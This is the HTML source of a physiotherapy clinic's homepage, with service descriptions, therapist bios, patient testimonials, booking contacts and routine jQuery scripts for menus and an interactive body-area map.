<h4 class="services-title">MUSCLE ENERGY TECHIQUE (MET)</h4>
</div>
<div class="services-description">Muscle energy technique is a form of a manual therapy which uses muscles own energy in the form of gentle isometric contractions…<br />
<a href="/muscle-energy-technique/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div></div><div class="vc_row wpb_row vc_inner vc_row-fluid load_more"><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/acoustic-wave/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-211" src="/wp-content/uploads/2018/09/Acoustic-wave-therapy-home.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">Acoustic wave therapy</h4>
</div>
<div class="services-description">Musculoskeletal disorders originating from muscles and tendons affects majority of general population. It impairs…<br />
<a href="/acoustic-wave/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/fitness-for-everyone/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-211" src="/wp-content/uploads/2018/09/for-banner-home-page.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">FITNESS FOR EVERYONE</h4>
</div>
<div class="services-description">Pregnancy is a state of health,not of illness so,a well conditioned body will perform better during the stress of &#8230;.<br />
<a href="/fitness-for-everyone/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div></div></div></div></div></div>
</section></div>
						
				        </div>
			</div>			
			<div class="col-sm-4" id="sidebar">
				<div class="sidebar-inner">
					<div class="add-top-header"><practo:abs_widget widget="da84f433cd345b47"></practo:abs_widget>
                     <script src="https://www.practo.com/bundles/practopractoapp/js/abs_widget_helper.js"></script>
				    </div>
				<div class="sidebar-menu">
					<ul>
						<li><a href="/photo-gallery/">PHOTO GALLERY</a></li>
						<li><a class="testi_link" href="#">TESTIMONIALS</a></li>
						<li><a href="/conditions-treated/">WHERE DOES IT HURT?</a></li>
					</ul>
				</div>
				<div class="blog-post-home">
					<h4 class="blog-title">blog</h4>
					<div class="blog-description">
					
						<ul>
						             							<li><span class="day-time">November 28, 2016<span>
							    <span class="category"></span>
								<p><a href="https://perfectophysios.com/physiotherapy-to-release-frozen-shoulder/">Physiotherapy to Release Frozen Shoulder</a></p>
							</li>
							 							<li><span class="day-time">November 27, 2016<span>
							    <span class="category"></span>
								<p><a href="https://perfectophysios.com/electrotherapy-the-best-treatment-option-for-musculoskeletal/">Electrotherapy &#8211; The Best Treatment option For musculoskeletal</a></p>
							</li>
							 							<li><span class="day-time">November 26, 2016<span>
							    <span class="category"></span>
								<p><a href="https://perfectophysios.com/benefits-of-medical-massage/">Benefits of medical massage</a></p>
							</li>
							 							<li><span class="day-time">November 25, 2016<span>
							    <span class="category"></span>
								<p><a href="https://perfectophysios.com/posture-power/">Posture Power</a></p>
							</li>
							 							<li><span class="day-time">August 14, 2014<span>
							    <span class="category"></span>
								<p><a href="https://perfectophysios.com/poor-posture/">Poor Posture</a></p>
							</li>
							 							<li><span class="day-time">August 13, 2013<span>
							    <span class="category"></span>
								<p><a href="https://perfectophysios.com/for-lovely-and-busy-moms/">FOR LOVELY AND BUSY MOMS</a></p>
							</li>
							 							
						
						</ul>
					</div>
				</div>
				</div>
			</div>
		</div>
	</div>
</section>

<!---------Services-close-------->

<!---------Meet Our Team-------->
<section class="meat-your-team">
	<div class="container">
		<div class="row">
			<div class="col-sm-12 main-heading">
				<h2 class="main-title">Meet Our Team
				</h2>
				<p class="sub-title"></p>
			</div>
		</div>
		<div class="meet-team">
			<div class="row">
				<div class="col-sm-5 col-md-3">
					<div class="meet-team-img">
						<img class="img-responsive" src="https://perfectophysios.com/wp-content/uploads/2018/08/era-1.jpg">
						
					</div>
				</div>
				<div class="col-sm-7 col-md-9">
					<div class="team-description">					
						<h3>Physio Era, BPT, MPT</h3>
						<span>Musculoskeletal, COMT, Dip BMP (OXFORD UK), MIAP</span>
						<p>She completed her master of physiotherapy in musculoskeletal specialty and had then worked in Nehru medical college and A&U tibbia college Delhi. She has a keen interest in designing exercise programs for the clients in antenatal and postnatal phase. Beside the conventional physiotherapy she is using advanced physical therapy techniques. She is a certified mulligan technique manual therapist .And level II dry needling practicionier. Accredited medical expert in foot conditions from Finland .she is trained from academy of UK (London) to perform spinal mobilisation and manipulations.Over the years she has gained expertise in managing fibromyalgia and women related health issues. She believes in providing holistic treatment for her patients.</p>
					</div>
				</div>
			</div>
		</diV>
		<div class="meet-team">
			<div class="row">
				<div class="col-sm-5 col-md-3">
					<div class="meet-team-img">
						<img class="img-responsive" src="https://perfectophysios.com/wp-content/uploads/2018/08/rakesh-kumar-1.jpg">
						
					</div>
				</div>
				<div class="col-sm-7 col-md-9">
					<div class="team-description">					
						<h3>Physio Rakesh, BPT, MPT</h3>
						<span>Musculoskeletal, Dip BMP (OXFORD UK), MIAP, Certified SPINALmanual therapist (Australian Institute)</span>
						<p>He has completed his post graduation in  musculoskeletal physiotherapy and has 9 years of clinical experience. He is a member of Indian association of physiotherapist. He has worked extensively in treating musculoskeletal conditions as well as sports injuries .Accredited medical expert in foot conditions from Finland ,and level II specialist (dry needling).He is trained manual therapist with training from academy of UK (London) for spinal mobilisation and manipulations.He has vast experience of handling cases related to Spine, shoulder and knee musculoskeletal injuries.</p>
					</div>
				</div>
			</div>
		</diV>
	</div>
</section>
<!---------Meet Our Team Close-------->
<!---------Meet Our Team Close-------->

<section class="testimonial">
	<div class="container">
		<div id="testimonial4" class="carousel slide testimonial4_indicators testimonial4_control_button thumb_scroll_x swipe_x" data-ride="carousel" data-pause="hover" data-interval="5000" data-duration="2000">
		
			<div class="col-sm-12 main-heading">
				<h2 class="main-title white-text">WHAT OUR CLIENTS ARE SAYING
				</h2>
			</div>
		<ol class="carousel-indicators">
			<li data-target="#testimonial4" data-slide-to="0" class="active"></li>
			<li data-target="#testimonial4" data-slide-to="1"></li>
			<li data-target="#testimonial4" data-slide-to="2"></li>
		</ol>
		<div class="carousel-inner" role="listbox">
									<div class="item active">
				<div class="testimonial4_slide">
					                  <img width="40" height="40" src="https://perfectophysios.com/wp-content/uploads/2018/08/photo-2.png" class="img-circle img-responsive wp-post-image" alt="" decoding="async" loading="lazy" />					<p><p>Came to perfecto physios in a wheel chair&#8230; Reason L5-s1 disc herniation relapse after surgery&#8230;.. Was in excruciating pain&#8230;thanks to Dr Era n Dr rakesh Currently living a normal pain free life. Era has a very calming personality which is most needed when the patient is anxious and in chronic pain. </p>
</p>
					<h4>Simi Ali</h4>
				</div>
			</div>
			 
			<div class="item">
				<div class="testimonial4_slide">
					                  <img width="40" height="40" src="https://perfectophysios.com/wp-content/uploads/2018/08/photo-1.png" class="img-circle img-responsive wp-post-image" alt="" decoding="async" loading="lazy" />					<p><p>I had severe sciatica pain for last 3 years. I was suffering with spine disk bulge and sciatica pain for 3 years and took every treatment available in alternate therapy but I had no improvement rather my condition worsened. Then I took treatment from Dr Rakesh at Landmark hospital.</p>
</p>
					<h4>Jyoti Thaman</h4>
				</div>
			</div>
			   
			<div class="item">
				<div class="testimonial4_slide">
					                  <img width="40" height="40" src="https://perfectophysios.com/wp-content/uploads/2018/08/photo.png" class="img-circle img-responsive wp-post-image" alt="" decoding="async" loading="lazy" />					<p><p>I had been suffering from acute backache due to disc bulging from last 9 months. After coming to Perfecto Physio I was at ease within two weeks and my pain was relieved. Dr. Era has always given attention to all the details and signs. She was always a careful listener and a very positive doctor. </p>
</p>
					<h4>Nidhi Gaur</h4>
				</div>
			</div>
			   
		
		</div>
		<a class="left carousel-control" href="#testimonial4" role="button" data-slide="prev">
			<span class="fa fa-chevron-left"></span>
		</a>
		<a class="right carousel-control" href="#testimonial4" role="button" data-slide="next">
			<span class="fa fa-chevron-right"></span>
		</a>
	</div>
	</div>
</section>
<!---------Meet Our Team Close-------->
<!---------Schedule an appointment-------->
<section class="schedule-appointment text-center">
	<div class="container white-text">
			<h2 class="schedule-title">Schedule an appointment</h2>
			<ul>
				<li><img src="https://perfectophysios.com/wp-content/themes/perfecto/img/book-appointment-schedule.png"></li>
				<li>or</li>
				<li class="phone-no-schedule"><i class="fa fa-phone"></i><a href="tel:+91-80548-64704">+91-80548-64704,</a><br/><a href="tel:+91-80548-64706">+91-80548-64706</a></li>
			</ul>
			<p>( All appointments will be schedules within 24 hours! )</p>
	</div>
</section>
<footer>
	<div class="footer-top">
		<div class="container">
			<div class="row">
				<div class="col-sm-4">
				<div class="footer-inner">
					<a class="footer-logo" href=""><img src="https://perfectophysios.com/wp-content/uploads/2018/08/footer-logo.png"></a>
					<p></p>
					<ul class="footer-social-icon">
						<li><a href="https://www.facebook.com/PhysiotherapyInChandigarhTricity/"><i class="fa fa-facebook"></i></a></li>
						<li><a href="https://twitter.com/Perfectophysio"><i class="fa fa-twitter"></i></a></li>
						<li><a href="https://www.google.com"><i class="fa fa-google-plus"></i></a></li>
					</ul>
				</div>
				</div>
				<div class="col-sm-4">
				<div class="footer-inner">
					<h3 class="footer-title">Our Services</h3>					
<!--ul class="footer-menu">
<li><a href="index.html">Home</a></li>
<li><a href="about.html">About Us </a></li>
<li><a href="#">Condition </a></li>
<li><a href="#">Treated </a></li>
<li><a href="#">Blog </a></li>
<li><a href="contact.html">Contact Us</a></li>
</ul-->   						<ul id="menu-footer-menu" class="footer-menu"><li id="menu-item-473" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-473"><a href="https://perfectophysios.com/kinesiology-physiotherapy-taping/">Kinesiology &#038; Physiotherapy Taping</a></li>
<li id="menu-item-471" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-471"><a href="https://perfectophysios.com/foot-annex/">Foot Annex</a></li>
<li id="menu-item-472" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-472"><a href="https://perfectophysios.com/high-intensity-laser/">High Intensity Laser</a></li>
<li id="menu-item-474" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-474"><a href="https://perfectophysios.com/lymphatic-massage/">Lymphatic Massage</a></li>
<li id="menu-item-470" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-470"><a href="https://perfectophysios.com/electrotherapy/">Electrotherapy</a></li>
<li id="menu-item-475" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-475"><a href="https://perfectophysios.com/manual-trigger-therapy-dry-needling/">Manual Trigger Therapy  &#038; Dry Needling</a></li>
<li id="menu-item-477" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-477"><a href="https://perfectophysios.com/soft-tissue-release/">Soft Tissue Release</a></li>
<li id="menu-item-476" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-476"><a href="https://perfectophysios.com/muscle-energy-technique/">Muscle Energy Technique</a></li>
</ul>	  
				</div>

				</div>
				<div class="col-sm-4">
				<div class="footer-inner">
					<h3 class="footer-title">Information</h3>
				
								</div>
				</div>
			</div>
		</div>
	</div>
	<div class="footer-bottom text-center">
		<div class="container">
			<p>COPYRIGHT © 2018 PERFECTOPHYSIOS</p>
			<a id="back2Top" title="Back to top" href="#">&#10148;</a>
		</div>
	</div>
	<div class="bottom-fixed">
<ul class="fixed-contact-info">
    <li><a href="tel:+91-80548-64704"><i class="fa fa-phone"></i>+91-80548-64704</a></li>
	<li><a class="read_more_btn call-btn" href="tel:+91-80548-64704">Call Us</a></li>
</ul>
</div>
</footer>
<div class="enquiry-btn">
<a href="/contact-us">Enquiry Now</a>
</div>
<!---------footer close-------->

<script src="https://perfectophysios.com/wp-content/themes/perfecto/js/jquery.min.js"></script>
    <script src="https://perfectophysios.com/wp-content/themes/perfecto/js/bootstrap.min.js"></script>
    <script src="https://perfectophysios.com/wp-content/themes/perfecto/js/jquery-1.12.4.min.js"></script>
	
	<script>
(function($) {
$.fn.menumaker = function(options) {  
 var cssmenu = $(this), settings = $.extend({
   format: "dropdown",
   sticky: false
 }, options);
 return this.each(function() {
   $(this).find(".button").on('click', function(){
     $(this).toggleClass('menu-opened');
     var mainmenu = $(this).next('ul');
     if (mainmenu.hasClass('open')) { 
       mainmenu.slideToggle().removeClass('open');
     }
     else {
       mainmenu.slideToggle().addClass('open');
       if (settings.format === "dropdown") {
         mainmenu.find('ul').show();
       }
     }
   });
   cssmenu.find('li ul').parent().addClass('has-sub');
multiTg = function() {
     cssmenu.find(".has-sub").prepend('<span class="submenu-button"></span>');
     cssmenu.find('.submenu-button').on('click', function() {
       $(this).toggleClass('submenu-opened');
       if ($(this).siblings('ul').hasClass('open')) {
         $(this).siblings('ul').removeClass('open').slideToggle();
       }
       else {
         $(this).siblings('ul').addClass('open').slideToggle();
       }
     });
   };
   if (settings.format === 'multitoggle') multiTg();
   else cssmenu.addClass('dropdown');
   if (settings.sticky === true) cssmenu.css('position', 'fixed');
resizeFix = function() {
  var mediasize = 1000;
     if ($( window ).width() > mediasize) {
       cssmenu.find('ul').show();
     }
     if ($(window).width() <= mediasize) {
       cssmenu.find('ul').hide().removeClass('open');
     }
   };
   resizeFix();
   return $(window).on('resize', resizeFix);
 });
  };
})(jQuery);

(function($){
$(document).ready(function(){
$("#cssmenu").menumaker({
   format: "multitoggle"
});
});
})(jQuery);


</script>
<script>
        jQuery(window).ready(function() {

            jQuery('#rw_why_hurt_hold').fadeIn(2000);

            //window.rw_target_open = "no";

            function rw_animate_close() {

                //clearInterval(window.rw_why_hurt_timer);
                //window.rw_target_open = "no";

                /**********
                jQuery('#rw_why_hurt_anim').css({'display':'none'});
                ***********/

                jQuery('.rw_why_hurt_pic').css({
                    'display': 'none'
                });
                //$('#rw_why_hurt_infobox').css({'display':'none'});

            }; //close close function

            function rw_why_hurt_info_box(rw_pass_target) {

                //clean up
                jQuery('#rw_why_hurt_anim_icon').css({
                    'display': 'none'
                });
                jQuery('#rw_why_hurt_infobox').css({
                    'display': 'none'
                });

                switch (rw_pass_target) {

                    case 'ankle':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-ankle.png";
                        rw_why_hurt_title_src = "ANKLE";
                        rw_why_hurt_intro_src = "Need introduction. I am the intro text for the ankle section. I am the intro text for the ankle section.";
                        rw_why_hurt_blurb_src = "If you require foot or ankle injury treatment, our comprehensive foot and ankle program focuses on restoring range of motion, strength and function. We treat all injuries related to the lower extremity, whether you've been diagnosed with plantar fasciitis, suffer from an ankle sprain or fracture, or need post-operative care. ";
                        rw_why_hurt_blurb_cta = "/ankle/";
                        break;

                    case 'foot':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-foot.png";
                        rw_why_hurt_title_src = "FOOT";
                        rw_why_hurt_intro_src = "Need introduction. I am the intro text for the foot section. I am the intro text for the shoulder section.";
                        rw_why_hurt_blurb_src = "If you require foot or ankle injury treatment, our comprehensive foot and ankle program focuses on restoring range of motion, strength and function. We treat all injuries related to the lower extremity, whether you've been diagnosed with plantar fasciitis, suffer from an ankle sprain or fracture, or need post-operative care. ";
                        rw_why_hurt_blurb_cta = "/foot-annex/";
                        break;

                    case 'hand':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-hand.png";
                        rw_why_hurt_title_src = "HAND/ELBOW";
                        rw_why_hurt_intro_src = "Need introduction. I am the intro text for the hand/elbow section. I am the intro text for the hand/elbow section.";
                        rw_why_hurt_blurb_src = "Our hand injuries therapy and elbow injuries therapy programs treat all injuries related to the hand, wrist and elbow, including fractures, sprains, strains, tendon injuries, arthritis, burns, amputations and nerve injuries, as well as specific hand related sports injury therapy ";
                        rw_why_hurt_blurb_cta = "/hand-elbow/";
                        break;

                    case 'hip':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-hip.png";
                        rw_why_hurt_title_src = "HIP";
                        rw_why_hurt_intro_src = "Our hip therapy and hip rehab program focuses on restoring range of motion, strength and functionality.";
                        rw_why_hurt_blurb_src = "Whether you've been diagnosed with bursitis, a hip pointer or just had a total joint replacement, our hip therapy and hip rehab program focuses on restoring range of motion, strength and functionality. ";
                        rw_why_hurt_blurb_cta = "/hip-physio-therapy/";
                        break;

                    case 'knee':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-knee.png";
                        rw_why_hurt_title_src = "KNEE";
                        rw_why_hurt_intro_src = "Need introduction. This is the knee section's intro text. This is the knee section's intro text. This is the knee section's intro text.";
                        rw_why_hurt_blurb_src = "Whether you have chronic knee pain, a total joint replacement or require ACL injury therapy or physical therapy after knee surgery, our knee physical therapy focuses on restoring range of motion, strength and function. Your care begins with a comprehensive evaluation of your functional limitations. ";
                        rw_why_hurt_blurb_cta = "/knee-therapy/";
                        break;

                    case 'leg':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-leg.png";
                        rw_why_hurt_title_src = "LEG";
                        rw_why_hurt_intro_src = "Need introduction. I am the intro text for the leg section. I am the intro text for the leg section.";
                        rw_why_hurt_blurb_src = "Whether you have chronic pain in your knees, thighs, calves or shins, just had a total joint replacement or seek specific hamstring injury therapy, Achilles tendon injury therapy or other leg/sports injury therapy, our leg injuries therapy programs focus on restoring range of motion, strength and function ";
                        rw_why_hurt_blurb_cta = "/leg-therapy/";
                        break;

                    case 'neck':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-neck.png";
                        rw_why_hurt_title_src = "NECK";
                        rw_why_hurt_intro_src = "Need introduction. This is the neck section's intro text. This is the neck section's intro text. This is the knee section's intro text.";
                        rw_why_hurt_blurb_src = "Our comprehensive neck therapy program treats patients who require neck therapy as a result of accidents, operations, chronic pain or patients who seek highly-specific neck sports injury therapy. ";
                        rw_why_hurt_blurb_cta = "/neck-physiotherapy/";
                        break;

                    case 'shoulder':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-shoulder.png";
                        rw_why_hurt_title_src = "SHOULDER";
                        rw_why_hurt_intro_src = "Need introduction. I am the intro text for the shoulder section. I am the intro text for the shoulder section.";
                        rw_why_hurt_blurb_src = "Whether you have chronic shoulder pain, an acute injury, require post-operative care, or seek specific shoulder/sports injury therapy, our shoulder therapy program focuses on restoring range of motion, strength and function. ";
                        rw_why_hurt_blurb_cta = "/shoulder/";
                        break;

                    case 'spine':
                        rw_why_hurt_icon_src = "/wp-content/themes/perfecto/img/info-bar-icon-spine.png";
                        rw_why_hurt_title_src = "SPINE";
                        rw_why_hurt_intro_src = "Our team of expert physical therapists will then design a treatment plan based on your individual needs and goals.";
                        rw_why_hurt_blurb_src = "Our back injury rehabilitation program begins with a comprehensive evaluation of your back's dysfunction, posture, flexibility, strength and functional limitations. We address all back-related issues, including lower back rehab, lower back injury treatment, sports-related back injury and work-related back injury. ";
                        rw_why_hurt_blurb_cta = "/back-spine-therapy/";
                        break;
                }; //close switch

                //swap content
                jQuery('#rw_why_hurt_infobox_icon img').attr('src', rw_why_hurt_icon_src);
                jQuery('.rw_why_hurt_icon_link').attr('href', rw_why_hurt_blurb_cta);
                jQuery('#rw_why_hurt_infobox_header_txt').html(rw_why_hurt_title_src);
                jQuery('#rw_why_hurt_infobox_blurb').html(rw_why_hurt_blurb_src);
                jQuery('#rw_why_hurt_infobox_cta').html('<a href=' + rw_why_hurt_blurb_cta + ' >Read More</a>');

                jQuery('#rw_why_hurt_infobox').css({
                    'opacity': 0.3
                }); //close css

                //animate info box
                jQuery('#rw_why_hurt_infobox').slideDown(800, function() {

                    //when complete
                    //alert('done');
                    jQuery('#rw_why_hurt_infobox').css({
                        'opacity': 0.8
                    }); //close css

                    jQuery('#rw_why_hurt_anim_icon').fadeIn(1000, function() {

                        //when complete

                    }); //close icon fade 

                }); //close info box slidedown

            }; //close rw_why_hurt_info_box function

            jQuery('.rw_why_hurt_pic').click(function(index) {
                jQuery('#rw_why_hurt_directions').css({
                    'display': 'none'
                }); //close css
                var rw_get_target = jQuery(this).attr("rw_trk");

                rw_why_hurt_info_box(rw_get_target);

            });

            jQuery('.rw_why_hurt_target').mouseenter(function(index) {

                //STOP ANY MID ANIMATED ITEMS
                jQuery('.rw_why_hurt_pic').stop(true, true);

                window.rw_target_open = "yes";
                var rw_get_target = jQuery(this).attr("rw_trk");
                jQuery(this).siblings('.rw_why_hurt_pic').css({
                    'display': 'none'
                });
                jQuery("#rw_why_hurt_" + rw_get_target + "_pic").fadeIn();

                if (window.rw_target_open == "no") {

                }; //close if
            });

            jQuery('.rw_why_hurt_pic').mouseleave(function(index) {

                jQuery('.rw_why_hurt_pic').stop(true, true);

                //window.rw_why_hurt_timer = setInterval(function(){rw_animate_close()},100);
                if (window.rw_target_open == "yes") {

                }; //close if

            });

        }); //close ready event

        /***** RANDOM ANIMATION OF TARGET CENTERS *********/

        //collect all of the x/y pos of all targets
        var rw_why_hurt_targ_center_left = new Array();
        var rw_why_hurt_targ_center_top = new Array();

        jQuery('.rw_why_hurt_target').each(function(index) {

            rw_why_hurt_targ_center_left.push(jQuery(this).css("left"));
            rw_why_hurt_targ_center_top.push(jQuery(this).css("top"));
            //console.log('rw_pos: ' + rw_why_hurt_targ_center_top[index]);

        }); //close each loop

        function rw_why_hurt_targ_random_handler() {

            //cleanup
            jQuery('#rw_why_hurt_target_center').css({
                'display': 'none'
            }); //close css

            //COLLECT RANDOM LEFT/TOP PAIRS
            var rw_why_hurt_random_num = Math.floor(Math.random() * rw_why_hurt_targ_center_left.length);

            var rw_why_hurt_random_center_left = rw_why_hurt_targ_center_left[rw_why_hurt_random_num]
            var rw_why_hurt_random_center_top = rw_why_hurt_targ_center_top[rw_why_hurt_random_num];

            jQuery('#rw_why_hurt_target_center').css({
                'top': rw_why_hurt_random_center_top,
                'left': rw_why_hurt_random_center_left
            }); //close css

           jQuery('#rw_why_hurt_target_center').fadeIn(1000, function() {
                rw_why_hurt_targ_random_handler();
            }); //close fadeIn

        }; //close rw_why_hurt_targ_random_handler

        //INIT RANDOM TARGET CENTER
        rw_why_hurt_targ_random_handler();
    </script>
 <!--script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script-->
<script>
jQuery(document).ready(function(){
    jQuery(".load_more").hide();
    jQuery(".view_more").click(function(){
        jQuery(".load_more").show();
        jQuery(".view_more").hide();
    });
});
</script>
<script>
        $(function() {
            $('.testi_link').click(function() {
                $('html, body').animate({
                    scrollTop: $('.testimonial').offset().top
                }, 'slow');
                return false;
            });
        });
    </script>
	<script>
	$(window).scroll(function() {
    var height = $(window).scrollTop();
    if (height > 100) {
        $('#back2Top').fadeIn();
    } else {
        $('#back2Top').fadeOut();
    }
});
$(document).ready(function() {
    $("#back2Top").click(function(event) {
        event.preventDefault();
        $("html, body").animate({ scrollTop: 0 }, "slow");
        return false;
    });

});
</script>
 

	    <section id="pulse-chat-button-wrapper" aria-label="Contact us via Chat">
        <div class="pulse"></div>
        <div class="pulse"></div>
        <div class="pulse"></div>
        <a style="color: #fff" target="_blank" href="https://api.whatsapp.com/send?phone=+91-80548-64704&#038;text=Hi%21+Perfecto+Physios" class="chat-button pulse" aria-label="Open Chat">
            <span class="chat-icon">
                <img src="https://perfectophysios.com/wp-content/plugins/animated-floating-chat-button/assets/whatsapp.png" alt="Chat Icon" class="chat-icon">
            </span>
        </a>
    </section>
    <script type="text/javascript" src="https://perfectophysios.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script>
<script type="text/javascript" src="https://perfectophysios.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0" id="regenerator-runtime-js"></script>
<script type="text/javascript" src="https://perfectophysios.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script>
<script type="text/javascript" src="https://perfectophysios.com/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18" id="wp-hooks-js"></script>
<script type="text/javascript" src="https://perfectophysios.com/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script type="text/javascript" id="wp-i18n-js-after">
/* <![CDATA[ */
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
/* ]]> */
</script>
<script type="text/javascript" src="https://perfectophysios.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.9.8" id="swv-js"></script>
<script type="text/javascript" id="contact-form-7-js-extra">
/* <![CDATA[ */
var wpcf7 = {"api":{"root":"https:\/\/perfectophysios.com\/wp-json\/","namespace":"contact-form-7\/v1"}};
/* ]]> */
</script>
<script type="text/javascript" src="https://perfectophysios.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.9.8" id="contact-form-7-js"></script>
<script type="text/javascript" src="https://www.google.com/recaptcha/api.js?render=6Ld8UL8UAAAAAMGVjvAQZENEAgudtkGV2b_DPH0b&amp;ver=3.0" id="google-recaptcha-js"></script>
<script type="text/javascript" id="wpcf7-recaptcha-js-extra">
/* <![CDATA[ */
var wpcf7_recaptcha = {"sitekey":"6Ld8UL8UAAAAAMGVjvAQZENEAgudtkGV2b_DPH0b","actions":{"homepage":"homepage","contactform":"contactform"}};
/* ]]> */
</script>
<script type="text/javascript" src="https://perfectophysios.com/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=5.9.8" id="wpcf7-recaptcha-js"></script>
<script type="text/javascript" src="https://perfectophysios.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://perfectophysios.com/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=7.0" id="wpb_composer_front_js-js"></script>
<script>document.addEventListener('wpcf7mailsent', function(event) {
    window.location.href = "https://perfectophysios.com/thankyou/";
}, false);</script>	</body>

</html>